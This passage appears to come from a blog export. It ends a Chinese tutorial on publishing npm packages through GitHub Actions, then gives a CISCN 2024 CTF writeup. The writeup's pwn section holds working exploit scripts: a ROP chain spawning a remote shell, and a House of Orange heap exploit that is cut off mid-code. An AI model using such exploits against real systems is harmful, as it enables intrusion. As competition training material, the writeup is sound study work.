<p>这里一定要选择Automation,否则之后执行Action需要进行验证。</p>
<h2 id="GitHub仓库配置"><a href="#GitHub仓库配置" class="headerlink" title="GitHub仓库配置"></a>GitHub仓库配置</h2><h3 id="新建workflow"><a href="#新建workflow" class="headerlink" title="新建workflow"></a>新建workflow</h3><p>新建一个GitHub仓库,配置自己任意选择即可。<br>新建一个Action:</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="one"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/127540/3/27271/82134/634eafbaE2db3aaf8/183aa7086d0eb238.png" data-fancybox="one" data-caption="新建workflow"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/127540/3/27271/82134/634eafbaE2db3aaf8/183aa7086d0eb238.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/127540/3/27271/82134/634eafbaE2db3aaf8/183aa7086d0eb238.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="新建workflow"></a><span class="image-caption">新建workflow</span></div></div>
<p>将以下代码复制到这个yml文件当中:</p>
<figure class="highlight yml"><figcaption><span>/.github/workflows/npm-publish.yml</span></figcaption><table><tbody><tr><td class="code"><pre><span class="line"><span class="attr">name:</span> <span class="string">Publish</span> <span class="string">to</span> <span class="string">npm</span></span><br><span class="line"></span><br><span class="line"><span class="attr">on:</span></span><br><span class="line"> <span class="attr">push:</span></span><br><span class="line"><span class="comment"># 检测到有push则执行action</span></span><br><span class="line"></span><br><span class="line"><span class="attr">jobs:</span></span><br><span class="line"> <span class="attr">publish-to-npm:</span></span><br><span class="line"> <span class="attr">runs-on:</span> <span class="string">ubuntu-latest</span></span><br><span class="line"> <span class="attr">steps:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Checkout</span> <span class="string">release</span> <span class="string">branch</span> <span class="string">code</span></span><br><span class="line"> <span class="attr">uses:</span> <span class="string">actions/checkout@v3</span></span><br><span class="line"></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Use</span> <span class="string">Node.js</span></span><br><span class="line"> <span class="attr">uses:</span> <span class="string">actions/setup-node@master</span></span><br><span class="line"> <span class="attr">with:</span></span><br><span class="line"> <span class="attr">node-version:</span> <span class="string">${{</span> <span class="string">matrix.node-version</span> <span class="string">}}</span></span><br><span class="line"> <span class="attr">registry-url:</span> <span class="string">https://registry.npmjs.org</span></span><br><span class="line"></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Publish</span> <span class="string">to</span> <span class="string">NPM</span></span><br><span class="line"> <span class="attr">run:</span> <span class="string">npm</span> <span class="string">publish</span> <span class="string">||</span> <span class="literal">true</span></span><br><span class="line"> <span class="attr">env:</span></span><br><span class="line"> <span class="attr">NODE_AUTH_TOKEN:</span> <span class="string">${{</span> <span class="string">secrets.NPM_TOKEN</span> <span class="string">}}</span></span><br><span class="line"></span><br></pre></td></tr></tbody></table></figure>
<p>点击<code>start commit</code></p>
<h3 id="配置npm的token"><a href="#配置npm的token" class="headerlink" title="配置npm的token"></a>配置npm的token</h3><div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="one"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/126569/20/27063/115924/634eafd8Ef582b1af/228ae7cb7ea2e7c1.png" data-fancybox="one" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/126569/20/27063/115924/634eafd8Ef582b1af/228ae7cb7ea2e7c1.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/126569/20/27063/115924/634eafd8Ef582b1af/228ae7cb7ea2e7c1.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="one"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/23452/20/18663/55328/634eafecE6361464e/da3e05f531d027c4.png" data-fancybox="one" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/23452/20/18663/55328/634eafecE6361464e/da3e05f531d027c4.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/23452/20/18663/55328/634eafecE6361464e/da3e05f531d027c4.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p><code>Name</code>填写<code>NPM_TOKEN</code>,<code>Value</code>填写你刚刚在npm获取的token</p>
<h2 id="本地修改并push至GitHub仓库"><a href="#本地修改并push至GitHub仓库" class="headerlink" title="本地修改并push至GitHub仓库"></a>本地修改并push至GitHub仓库</h2><p>电脑环境要求:<a href="https://nodejs.org/en/">Nodejs</a>,<a href="https://git-scm.com/downloads">Git</a>。如果没有的话还请自行搜索安装。<br>在某一个目录下打开Git Bash,输入以下命令</p>
<figure class="highlight bash"><table><tbody><tr><td class="code"><pre><span class="line">git <span class="built_in">clone</span> git@github.com:[UserName]/[RepoName].git</span><br><span class="line"><span class="comment">#或者</span></span><br><span class="line">git <span class="built_in">clone</span> https://github.com/[UserName]/[RepoName].git</span><br></pre></td></tr></tbody></table></figure>
<p><code>UserName</code>为你的用户名,<code>RepoName</code>为方才创建的仓库名。</p>
<p>完成这一步之后需要对仓库进行npm的初始化:</p>
<figure class="highlight bash"><table><tbody><tr><td class="code"><pre><span class="line">npm init</span><br></pre></td></tr></tbody></table></figure>
<table>
<thead>
<tr>
<th>参数名</th>
<th>参数值</th>
</tr>
</thead>
<tbody><tr>
<td>package name</td>
<td>不能和npm已有包名重复,建议使用用户名-仓库名的方式避免重复</td>
</tr>
<tr>
<td>version</td>
<td>版本号,默认即可</td>
</tr>
<tr>
<td>description</td>
<td>对包的描述</td>
</tr>
<tr>
<td>entry point</td>
<td>默认即可</td>
</tr>
<tr>
<td>test command</td>
<td>默认即可</td>
</tr>
<tr>
<td>git repository</td>
<td>对应的Git仓库地址,默认</td>
</tr>
<tr>
<td>keywords</td>
<td>关键词,可留空</td>
</tr>
<tr>
<td>author</td>
<td>包的作者,可以写你的用户名</td>
</tr>
<tr>
<td>license</td>
<td>默认即可</td>
</tr>
</tbody></table>
<p>输入完成后将为你生成<code>package.json</code>文件,输入yes后,在当前目录下可以看到。</p>
<p>接下来将你想要上传的文件复制到这个目录里来。在命令行输入:</p>
<figure class="highlight bash"><table><tbody><tr><td class="code"><pre><span class="line"><span class="comment"># 将当前目录下的所有更改添加到缓存</span></span><br><span class="line">git add .</span><br><span class="line"><span class="comment"># 提交更改</span></span><br><span class="line">git commit -m <span class="string">"描述"</span></span><br><span class="line"><span class="comment"># 更新package版本号</span></span><br><span class="line">npm version patch</span><br><span class="line"><span class="comment"># 推送至github触发action</span></span><br><span class="line">git push</span><br></pre></td></tr></tbody></table></figure>
<p>等待push完成后,可以在GitHub检查一下Action是否成功运行,如果成功运行,npm将会给你发邮件通知包的发布情况。</p>
<h2 id="查看资源"><a href="#查看资源" class="headerlink" title="查看资源"></a>查看资源</h2><p>例如我创建的包名为<code>bf-static</code>,在相应的根目录下我创建了一个<code>logo.png</code>。我可以通过以下链接进行访问:</p>
<figure class="highlight plaintext"><table><tbody><tr><td class="code"><pre><span class="line"># unpkg</span><br><span class="line">https://unpkg.com/bf-static/logo.png</span><br><span class="line"># eleme国内镜像</span><br><span class="line">https://npm.elemecdn.com/bf-static/logo.png</span><br></pre></td></tr></tbody></table></figure>
<p>相应地改成你的包名、文件路径和文件名即可。</p>
]]></content>
<categories>
<category>前端</category>
</categories>
<tags>
<tag>npm</tag>
<tag>GitHub</tag>
<tag>Actions</tag>
</tags>
</entry>
<entry>
<title>第十七届全国大学生信息安全竞赛创新实践能力赛初赛 Writeup</title>
<url>/posts/ciscn-2024-wp/</url>
<content><![CDATA[<p>梦开始的比赛。去年纯小白直接参赛,结果自然是被血虐。之后开始慢慢学,今年总算是做出些题。不过难一些的 PWN 题还是做不出……( ),就多练。</p>
<h2 id="Misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h2><h3 id="火锅链观光打卡"><a href="#火锅链观光打卡" class="headerlink" title="火锅链观光打卡"></a>火锅链观光打卡</h3><p>签到题。</p>
<p>浏览器安装一个 MetaMask 钱包用于区块链操作。连接钱包后答题,收集任意7个不同食材图片后,点击兑换 NFT ,得到含 flag 的图片:<br><img src="https://bu.dusays.com/2024/05/20/664abdea520d8.jpeg" class="lazyload" data-srcset="https://bu.dusays.com/2024/05/20/664abdea520d8.jpeg" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="hotpot"><br>得到 flag :</p>
<figure class="highlight plaintext"><table><tbody><tr><td class="code"><pre><span class="line">flag{y0u_ar3_hotpot_K1ng}</span><br></pre></td></tr></tbody></table></figure>
<h3 id="Power-Trajectory-Diagram"><a href="#Power-Trajectory-Diagram" class="headerlink" title="Power_Trajectory_Diagram"></a>Power_Trajectory_Diagram</h3><p>这是一道基于功耗分析的侧信道攻击题,搜索相关关键词,在看雪上找到一篇<a href="https://bbs.kanxue.com/thread-260429.htm">文章</a>。根据文章内容可知,输入密码逐位比对,输入正确时和错误时功耗曲线有明显不同。</p>
<p>将得到的 npz 加载后打印数据,发现一共有13*40组数据,40对应着40个字符,猜测13为密码位数。打印所有功耗曲线,可以发现:<br><img src="https://bu.dusays.com/2024/05/20/664abe102daf5.png" class="lazyload" data-srcset="https://bu.dusays.com/2024/05/20/664abe102daf5.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="trace36"><br><img src="https://bu.dusays.com/2024/05/20/664abe1fcc283.png" class="lazyload" data-srcset="https://bu.dusays.com/2024/05/20/664abe1fcc283.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="trace37"><br>每40组曲线中,会有一组曲线的最大波动处横坐标明显右移,例如上图第37组曲线最大波动处相比于第36组以及其他1-40组的最大波动处都有一定程度右移。推测是密码错误时会出现最大波动,而第37组最大波动右移代表着当前输入的密码字符是正确的,错误发生在下一位。<br>使用这种方法可以找到每40组曲线中最特殊的一组,并映射为相应的字符。(除了第481组到第520组,因此认为密码只有12位)<br>特殊曲线到字符的映射脚本如下:</p>
<figure class="highlight python"><table><tbody><tr><td class="code"><pre><span class="line">data = [<span class="string">'a'</span>, <span class="string">'b'</span>, <span class="string">'c'</span>, <span class="string">'d'</span>, <span class="string">'e'</span>, <span class="string">'f'</span>, <span class="string">'g'</span>, <span class="string">'h'</span>, <span class="string">'i'</span>, <span class="string">'j'</span>, <span class="string">'k'</span>, <span class="string">'l'</span>, <span class="string">'m'</span>, <span class="string">'n'</span>, <span class="string">'o'</span>, <span class="string">'p'</span>, <span class="string">'q'</span>, <span class="string">'r'</span>,</span><br><span class="line"><span class="string">'s'</span>, <span class="string">'t'</span>, <span class="string">'u'</span>, <span class="string">'v'</span>, <span class="string">'w'</span>, <span class="string">'x'</span>, <span class="string">'y'</span>, <span class="string">'z'</span>, <span class="string">'0'</span>, <span class="string">'1'</span>, <span class="string">'2'</span>, <span class="string">'3'</span>, <span class="string">'4'</span>, <span class="string">'5'</span>, <span class="string">'6'</span>, <span class="string">'7'</span>, <span class="string">'8'</span>, <span class="string">'9'</span>,</span><br><span class="line"><span class="string">'_'</span>, <span class="string">'!'</span>, <span class="string">'@'</span>, <span class="string">'#'</span>]</span><br><span class="line"></span><br><span class="line"><span class="built_in">list</span> = [</span><br><span class="line"><span class="number">37</span>,</span><br><span class="line"><span class="number">43</span>,</span><br><span class="line"><span class="number">89</span>,</span><br><span class="line"><span class="number">139</span>,</span><br><span class="line"><span class="number">163</span>,</span><br><span class="line"><span class="number">214</span>,</span><br><span class="line"><span class="number">277</span>,</span><br><span class="line"><span class="number">309</span>,</span><br><span class="line"><span class="number">347</span>,</span><br><span class="line"><span class="number">389</span>,</span><br><span class="line"><span class="number">431</span>,</span><br><span class="line"><span class="number">477</span></span><br><span class="line">]</span><br><span class="line"></span><br><span class="line">password = <span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">12</span>):</span><br><span class="line"> tmp = <span class="built_in">list</span>[i] - i*<span class="number">40</span> -<span class="number">1</span></span><br><span class="line"> <span class="built_in">print</span>(tmp)</span><br><span class="line"> password += data[tmp]</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(password)</span><br></pre></td></tr></tbody></table></figure>
<p>得到结果<code>_ciscn_2024_</code>,因此 flag 为:</p>
<figure class="highlight plaintext"><table><tbody><tr><td class="code"><pre><span class="line">flag{_ciscn_2024_}</span><br></pre></td></tr></tbody></table></figure>
<h2 id="Crypto"><a href="#Crypto" class="headerlink" title="Crypto"></a>Crypto</h2><h3 id="古典密码"><a href="#古典密码" class="headerlink" title="古典密码"></a>古典密码</h3><p>题目给了一个字符串<code>AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9</code>,没有说明经过何种处理。<br>放到 <a href="https://gchq.github.io/CyberChef/#recipe=Atbash_Cipher()From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=QW5VN05uUjROYXNzT0dwM0JESmdBR29uTWFKYXlUd3JCcVozT0RNb01XeGdNbkZkTnF0ZE1UTTk">CyberChef</a> 选择 Encrption / Encoding 逐个尝试,用 Atbash Cipher 解密后 Base64 解码,得到:</p>
<figure class="highlight plaintext"><table><tbody><tr><td class="code"><pre><span class="line">fa{2b838a-97ad-e9f743lgbb07-ce47-6e02804c}</span><br></pre></td></tr></tbody></table></figure>
<p>根据题目的提示想到栅栏密码,将字符串对半分,然后Z形拼接就能得到 flag:</p>
<figure class="highlight plaintext"><table><tbody><tr><td class="code"><pre><span class="line">flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}</span><br></pre></td></tr></tbody></table></figure>
<h2 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a>Reverse</h2><h3 id="gdb-debug"><a href="#gdb-debug" class="headerlink" title="gdb_debug"></a>gdb_debug</h3><p>IDA反编译,注意到程序中设置随机数种子的代码:</p>
<figure class="highlight c"><table><tbody><tr><td class="code"><pre><span class="line">v3 = time(<span class="number">0LL</span>);</span><br><span class="line">srand(v3 & <span class="number">0xF0000000</span>);</span><br></pre></td></tr></tbody></table></figure>
<p>实际上随机数种子恒为0x60000000,因此该程序中的随机数都可以确定,可以使用 ctypes 来调用 libc 库设置相应的随机数种子,获取每一次调用 <code>rand()</code> 返回的随机数。剩下的就是根据反编译的程序使用 z3 进行约束求解,exp 如下:</p>
<figure class="highlight python"><table><tbody><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> z3 <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">libc = CDLL(<span class="string">'/lib/x86_64-linux-gnu/libc.so.6'</span>)</span><br><span class="line">libc.srand(<span class="number">0x60000000</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Initialization</span></span><br><span class="line">flag_len = <span class="number">38</span></span><br><span class="line">solver = Solver()</span><br><span class="line"></span><br><span class="line"><span class="comment"># Create a list of BitVec variables to represent the flag</span></span><br><span class="line">flag_chars = [BitVec(<span class="string">f'flag_<span class="subst">{i}</span>'</span>, <span class="number">8</span>) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(flag_len)]</span><br><span class="line"></span><br><span class="line"><span class="comment"># Add constraints</span></span><br><span class="line">solver.add(flag_chars[<span class="number">0</span>] == <span class="built_in">ord</span>(<span class="string">'f'</span>))</span><br><span class="line">solver.add(flag_chars[<span class="number">1</span>] == <span class="built_in">ord</span>(<span class="string">'l'</span>))</span><br><span class="line">solver.add(flag_chars[<span class="number">2</span>] == <span class="built_in">ord</span>(<span class="string">'a'</span>))</span><br><span class="line">solver.add(flag_chars[<span class="number">3</span>] == <span class="built_in">ord</span>(<span class="string">'g'</span>))</span><br><span class="line">solver.add(flag_chars[<span class="number">4</span>] == <span class="built_in">ord</span>(<span class="string">'{'</span>))</span><br><span class="line">solver.add(flag_chars[flag_len-<span class="number">1</span>] == <span class="built_in">ord</span>(<span class="string">'}'</span>))</span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 1: XOR with rand</span></span><br><span class="line">v28 = [BitVec(<span class="string">f'v28_<span class="subst">{i}</span>'</span>, <span class="number">8</span>) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(flag_len)]</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(flag_len):</span><br><span class="line"> random_val = libc.rand() & <span class="number">0xff</span></span><br><span class="line"> solver.add(v28[i] == flag_chars[i] ^ random_val)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 2: Shuffle array s</span></span><br><span class="line">ptr = [i <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(flag_len)]</span><br><span class="line">k = flag_len - <span class="number">1</span></span><br><span class="line"><span class="keyword">while</span> k >= <span class="number">0</span>:</span><br><span class="line"> v18 = (libc.rand() % (k + <span class="number">1</span>)) & <span class="number">0xff</span></span><br><span class="line"> v19 = ptr[k]</span><br><span class="line"> ptr[k] = ptr[v18]</span><br><span class="line"> ptr[v18] = v19</span><br><span class="line"> k -= <span class="number">1</span></span><br><span class="line"></span><br><span class="line">val1 = [</span><br><span class="line"><span class="number">0xd8</span>, <span class="number">0xe0</span>, <span class="number">0x19</span>, <span class="number">0xe8</span>, <span class="number">0xcd</span>, <span class="number">0x9f</span>, <span class="number">0x6d</span>, <span class="number">0x65</span>,</span><br><span class="line"><span class="number">0xb8</span>, <span class="number">0x11</span>, <span class="number">0x81</span>, <span class="number">0xc8</span>, <span class="number">0x6e</span>, <span class="number">0xd0</span>, <span class="number">0xdb</span>, <span class="number">0xf8</span>,</span><br><span class="line"><span class="number">0x6b</span>, <span class="number">0xf9</span>, <span class="number">0x7d</span>, <span class="number">0xd2</span>, <span class="number">0xd6</span>, <span class="number">0xd5</span>, <span class="number">0x0f</span>, <span class="number">0x89</span>,</span><br><span class="line"><span class="number">0x1e</span>, <span class="number">0x34</span>, <span class="number">0x6a</span>, <span class="number">0xc5</span>, <span class="number">0xfd</span>, <span class="number">0xc1</span>, <span class="number">0xe9</span>, <span class="number">0x26</span>,</span><br><span class="line"><span class="number">0xd0</span>, <span class="number">0xba</span>, <span class="number">0xfa</span>, <span class="number">0x99</span>, <span class="number">0xe7</span>, <span class="number">0x06</span></span><br><span class="line">]</span><br><span class="line"></span><br><span class="line">val2 = [<span class="number">0x6</span>, <span class="number">0x4a</span>, <span class="number">0x5b</span>, <span class="number">0x14</span>, <span class="number">0xc4</span>, <span class="number">0x77</span>, <span class="number">0xdf</span>, <span class="number">0x63</span>, <span class="number">0xb5</span>, <span class="number">0x82</span>, <span class="number">0xe0</span>, <span class="number">0x3c</span>, <span class="number">0x4a</span>, <span class="number">0x99</span>, <span class="number">0xce</span>, <span class="number">0xf9</span>, <span class="number">0xbc</span>, <span class="number">0x52</span>, <span class="number">0x79</span>, <span class="number">0xca</span>, <span class="number">0x19</span>, <span class="number">0x3c</span>, <span class="number">0xda</span>, <span class="number">0x1f</span>, <span class="number">0x2d</span>, <span class="number">0xfe</span>, <span class="number">0x93</span>, <span class="number">0xef</span>, <span class="number">0xa3</span>, <span class="number">0x2b</span>, <span class="number">0xc4</span>, <span class="number">0x1a</span>, <span class="number">0x44</span>, <span class="number">0xd5</span>, <span class="number">0xc2</span>, <span class="number">0x4</span>, <span class="number">0xbf</span>, <span class="number">0xec</span>]</span><br><span class="line"></span><br><span class="line">random_vals = [<span class="number">0</span>] * flag_len</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(flag_len):</span><br><span class="line"> random_vals[i] = val1[i] ^ val2[i]</span><br><span class="line"></span><br><span class="line"><span class="comment"># *((_BYTE *)v31 + m) = *((_BYTE *)v28 + *((unsigned __int8 *)ptr + m));</span></span><br><span class="line">v31 = [BitVec(<span class="string">f'v31_<span class="subst">{i}</span>'</span>, <span class="number">8</span>) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(flag_len)]</span><br><span class="line"><span class="keyword">for</span> m <span class="keyword">in</span> <span class="built_in">range</span>(flag_len):</span><br><span class="line"> solver.add(v31[m] == (v28[ptr[m]] ) ^ (random_vals[m]) & <span class="number">0xff</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># s1[ii] = *((_BYTE *)v31 + ii) ^ v32[ii];</span></span><br><span class="line">v32 = [<span class="number">0xBF</span>, <span class="number">0xD7</span>, <span class="number">0x2E</span>, <span class="number">0xDA</span>, <span class="number">0xEE</span>, <span class="number">0xA8</span>, <span class="number">0x1A</span>, <span class="number">0x10</span>, <span class="number">0x83</span>, <span class="number">0x73</span>, <span class="number">0xAC</span>, <span class="number">0xF1</span>, <span class="number">0x06</span>, <span class="number">0xBE</span>, <span class="number">0xAD</span>, <span class="number">0x88</span>, <span class="number">0x04</span>, <span class="number">0xD7</span>, <span class="number">0x12</span>, <span class="number">0xFE</span>, <span class="number">0xB5</span>, <span class="number">0xE2</span>, <span class="number">0x61</span>, <span class="number">0xB7</span>, <span class="number">0x3D</span>, <span class="number">0x07</span>, <span class="number">0x4A</span>, <span class="number">0xE8</span>, <span class="number">0x96</span>, <span class="number">0xA2</span>, <span class="number">0x9D</span>, <span class="number">0x4D</span>, <span class="number">0xBC</span>, <span class="number">0x81</span>, <span class="number">0x8C</span>, <span class="number">0xE9</span>, <span class="number">0x88</span>, <span class="number">0x78</span>]</span><br><span class="line">s1 = [BitVec(<span class="string">f's1_<span class="subst">{i}</span>'</span>, <span class="number">8</span>) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(flag_len)]</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(flag_len):</span><br><span class="line"> solver.add(s1[i] == v31[i] ^ v32[i])</span><br><span class="line"></span><br><span class="line">s2 = <span class="string">"congratulationstoyoucongratulationstoy"</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(flag_len):</span><br><span class="line"> solver.add(s1[i] == <span class="built_in">ord</span>(s2[i]))</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> solver.check() == sat:</span><br><span class="line"> model = solver.model()</span><br><span class="line"> flag = <span class="string">''</span>.join([<span class="built_in">chr</span>(model[flag_chars[i]].as_long()) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(flag_len)])</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f'flag: <span class="subst">{flag}</span>'</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'unsat'</span>)</span><br></pre></td></tr></tbody></table></figure>
<p>其中第三次获取38个随机数时,我使用 ctypes 得到的随机数与实际的随机数不符,因此直接在 gdb 中打印 v31 这个数组在与随机数异或前后的值,得到第三轮的38个随机数。不清楚是什么导致了这种差异,但或许这就是题目提示“动静结合”的原因?<br>最后得到flag:</p>
<figure class="highlight plaintext"><table><tbody><tr><td class="code"><pre><span class="line">flag{78bace5989660ee38f1fd980a4b4fbcd}</span><br></pre></td></tr></tbody></table></figure>
<h2 id="Pwn"><a href="#Pwn" class="headerlink" title="Pwn"></a>Pwn</h2><h3 id="gostack"><a href="#gostack" class="headerlink" title="gostack"></a>gostack</h3><p>一道简单的栈溢出+ROP题目,一开始被 golang 唬住了,逆向了一会儿没找到缓冲区的大小,然后直接在 gdb 中看就清楚多了。<br>首先checksec:</p>
<figure class="highlight bash"><table><tbody><tr><td class="code"><pre><span class="line">Arch: amd64-64-little</span><br><span class="line">RELRO: Partial RELRO</span><br><span class="line">Stack: No canary found</span><br><span class="line">NX: NX enabled</span><br><span class="line">PIE: No PIE (0x400000)</span><br></pre></td></tr></tbody></table></figure>
<p>有栈溢出 + 没有canary + 没有PIE + gadgets = 简单 ROP<br>找到要用的gadgets,构造 ROP chain ;在 gdb 中计算出缓冲区开头与返回地址的距离为0x1d0字节,加上填充就得到 payload。exp 如下:</p>
<figure class="highlight python"><table><tbody><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.binary = binary = ELF(<span class="string">'./gostack'</span>)</span><br><span class="line"><span class="comment"># context.log_level = 'critical'</span></span><br><span class="line"></span><br><span class="line">syscall = <span class="number">0x0000000000404043</span></span><br><span class="line">pop_rax = <span class="number">0x000000000040f984</span></span><br><span class="line">pop_rsi = <span class="number">0x000000000042138a</span></span><br><span class="line">pop_rdx = <span class="number">0x00000000004944ec</span></span><br><span class="line">pop_rdi_r14_r13_r12_rbp_rbx = <span class="number">0x00000000004a18a5</span></span><br><span class="line">read_func = <span class="number">0x46178d</span></span><br><span class="line">bss = binary.bss()</span><br><span class="line"></span><br><span class="line"><span class="comment"># p = binary.process()</span></span><br><span class="line">p = remote(<span class="string">'8.147.129.254'</span>, <span class="number">29507</span>)</span><br><span class="line"><span class="comment"># read(0, bss, 0x100)</span></span><br><span class="line">rop_chain = flat(pop_rdi_r14_r13_r12_rbp_rbx, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, pop_rsi, bss, pop_rdx, <span class="number">8</span>, read_func)</span><br><span class="line"><span class="comment"># execve(bss, 0, 0)</span></span><br><span class="line">rop_chain += flat(pop_rdi_r14_r13_r12_rbp_rbx, bss, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, pop_rsi, <span class="number">0</span>, pop_rdx, <span class="number">0</span>, pop_rax, <span class="number">59</span>, syscall)</span><br><span class="line">payload = <span class="string">b'\x00'</span> * <span class="number">0x1d0</span> + rop_chain</span><br><span class="line">payload = payload.ljust(<span class="number">0x1000</span>, <span class="string">b'\x00'</span>)</span><br><span class="line">p.recvuntil(<span class="string">b'message :'</span>)</span><br><span class="line"><span class="comment"># gdb.attach(p, '''b *0x4a0a9e''')</span></span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.recvuntil(<span class="string">b'message :'</span>)</span><br><span class="line">p.sendline(<span class="string">b'/bin/sh\x00'</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></tbody></table></figure>
<p>有 <code>syscall</code> 但是没有 <code>syscall ; ret</code> ,因此我们的 ROP chain 最多只能有一次 raw syscall ,因此 read 选择使用函数地址而不是 raw syscall。get shell 之后得到 flag :</p>
<figure class="highlight plaintext"><table><tbody><tr><td class="code"><pre><span class="line">flag{08c559f9-81f7-4c74-a983-9eb59502de34}</span><br></pre></td></tr></tbody></table></figure>
<h3 id="orange-cat-diary"><a href="#orange-cat-diary" class="headerlink" title="orange_cat_diary"></a>orange_cat_diary</h3><p>首先用 IDA 反编译程序,在程序中发现以下漏洞:</p>
<ol>
<li>heap overflow(8字节的溢出)</li>
<li>UAF(只能使用一次,因为只能 delete 一次)<ul>
<li>write after free</li>
<li>read after free</li>
</ul>
</li>
</ol>
<p>再根据题目名称的提示可以知道,可以使用 <a href="https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c">House of Orange</a> 进行攻击(利用 heap overflow 和 read after free),泄露出 libc 地址和堆地址。由于 libc 的版本为2.23,因此最简便的方法就是劫持 <code>__malloc_hook</code> 。使用 pwndbg 的 <code>find_fake_fast</code> 命令找到用于覆盖 <code>__malloc_hook</code> 内容的 fast bin 地址,然后利用 write after free 劫持 fast bin ,使其返回该 chunk ,然后将<code>__realloc_hook</code>写为<code>one_gadget</code>,将<code>__malloc_hook</code>写为<code>realloc</code>,这样做更容易满足<code>one_gadget</code>条件。<br>利用代码如下:</p>
<figure class="highlight python"><table><tbody><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="comment"># all protections are enabled</span></span><br><span class="line"><span class="comment"># heap overflow</span></span><br><span class="line"><span class="comment"># we can only use show and delete once</span></span><br><span class="line"></span><br><span class="line">context.binary = binary = ELF(<span class="string">'./orange_cat_diary'</span>)</span><br><span class="line">libc = binary.libc</span><br><span class="line"><span class="comment"># context.log_level = 'critical'</span></span><br><span class="line"></span><br><span class="line">libc_offset = <span class="number">0x3c5158</span></span><br><span class="line">malloc_hook_offset = <span class="number">0x3c4b10</span></span><br><span class="line">one_gadget_offset = <span class="number">0xf1247</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># p = binary.process()</span></span><br><span class="line">p = remote(<span class="string">'8.147.129.254'</span>, <span class="number">25553</span>)</span><br><span class="line">p.recvuntil(<span class="string">b'Please tell me your name.\n'</span>)</span><br><span class="line">p.sendline(<span class="string">b'BeaCox'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span 